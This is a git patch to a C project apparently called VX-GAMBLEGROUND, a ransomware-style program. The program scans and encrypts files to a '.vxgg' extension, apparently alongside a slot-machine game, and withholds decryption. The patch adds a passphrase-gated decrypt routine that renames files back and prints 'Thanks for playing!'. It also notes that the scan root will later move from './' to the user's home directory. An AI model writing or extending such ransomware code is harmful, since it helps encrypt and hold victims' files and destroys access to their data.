From 92b2b42b0976a2849e0fd25cbd4ceedebb9b0a5e Mon Sep 17 00:00:00 2001 From: "@syxhe" Date: Mon, 2 Sep 2024 00:08:05 -0500 Subject: Implement decrypt flag --- src/VX-GAMBLEGROUND.c | 55 ++++++++++++++++++++++++++++++++++++++++++++++++++- src/VX-GAMBLEGROUND.h | 3 +++ 2 files changed, 57 insertions(+), 1 deletion(-) (limited to 'src') diff --git a/src/VX-GAMBLEGROUND.c b/src/VX-GAMBLEGROUND.c index 4afa8cd..1e508a2 100644 --- a/src/VX-GAMBLEGROUND.c +++ b/src/VX-GAMBLEGROUND.c @@ -201,6 +201,45 @@ int scanundencrypt(void *passed) { return 0; } +int decrypt(void *args) { + struct sande *pass = (struct sande *)args; + pass->scanned = scanfiles(pass->STARTPATH, pass->cmp); + if(pass->scanned == NULL) + error(1, 0, "[VX-GAMBLEGROUND] Filescan broke"); + + int err = REG_NOERROR; + regex_t encext; + if((err = regcomp(&encext, "(.*\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE))) + error(1, 0, "[VX-GAMBLEGROUND] Regcomp failled. Decryption skipped, unlucky bastard. ECODE: %d", err); + + int fd = -1; + for(struct nodelist *p = pass->scanned; p != NULL; p = p->next) { + if(p->fullpath == NULL) + continue; + + if(regexec(&encext, p->fullpath, 0, NULL, 0) == REG_NOMATCH) + continue; + + fd = open(p->fullpath, O_RDWR); + if(fd < 0) + continue; + passencblock(fd, pass->passphrase); + close(fd); + + // Once again my problems are solved by allocating shit instead of using static shit + char *newname = calloc(strlen(p->fullpath) + 1, sizeof(*newname)); + strncpy(newname, p->fullpath, (strlen(p->fullpath) - strlen(".vxgg"))); + rename(p->fullpath, newname); + free(newname); + } + + endwin(); // Calling this shouldn't be a problem even if ncurses isn't initalized + error(0, 0, "[VX-GAMBLEGROUND] Your files have been decrypted. Thanks for playing!"); + exit(0); + + return 0; +} + int main(int argc, char *argv[]) { struct arguments args = { .inputpass = NULL, @@ -221,9 +260,21 @@ int main(int argc, char *argv[]) { } + // Deal with decrypting flag + if((args.flags & SKIPSLOTS) && (args.inputpass != NULL)) { + struct sande pass = { + .cmp = alphasort, + .passphrase = passphrase, + .scanned = NULL, + .STARTPATH = FILESCAN_START + }; + decrypt((void*)&pass); + return 0; + } + struct bullshit stuff; struct nodelist *files = NULL; - struct sande scanner = {.cmp = alphasort, .STARTPATH = "./", .scanned = files, .passphrase = passphrase}; + struct sande scanner = {.cmp = alphasort, .STARTPATH = FILESCAN_START, .scanned = files, .passphrase = passphrase}; strncpy(stuff.passphrase, passphrase, PHRASESIZE); thrd_t slots, filescan; @@ -236,5 +287,7 @@ int main(int argc, char *argv[]) { thrd_join(slots, NULL); thrd_join(filescan, NULL); + + return 0; } \ No newline at end of file diff --git a/src/VX-GAMBLEGROUND.h b/src/VX-GAMBLEGROUND.h index 66e9383..6d379c2 100644 --- a/src/VX-GAMBLEGROUND.h +++ b/src/VX-GAMBLEGROUND.h @@ -11,6 +11,9 @@ struct arguments { #define SKIPSLOTS 0x1 #define SKIPENC 0x2 +// This will later be changed to "~/" +#define FILESCAN_START "./" + #define PHRASESIZE 32 int genphrase(char *phrase, size_t phrasesize); -- cgit v1.2.3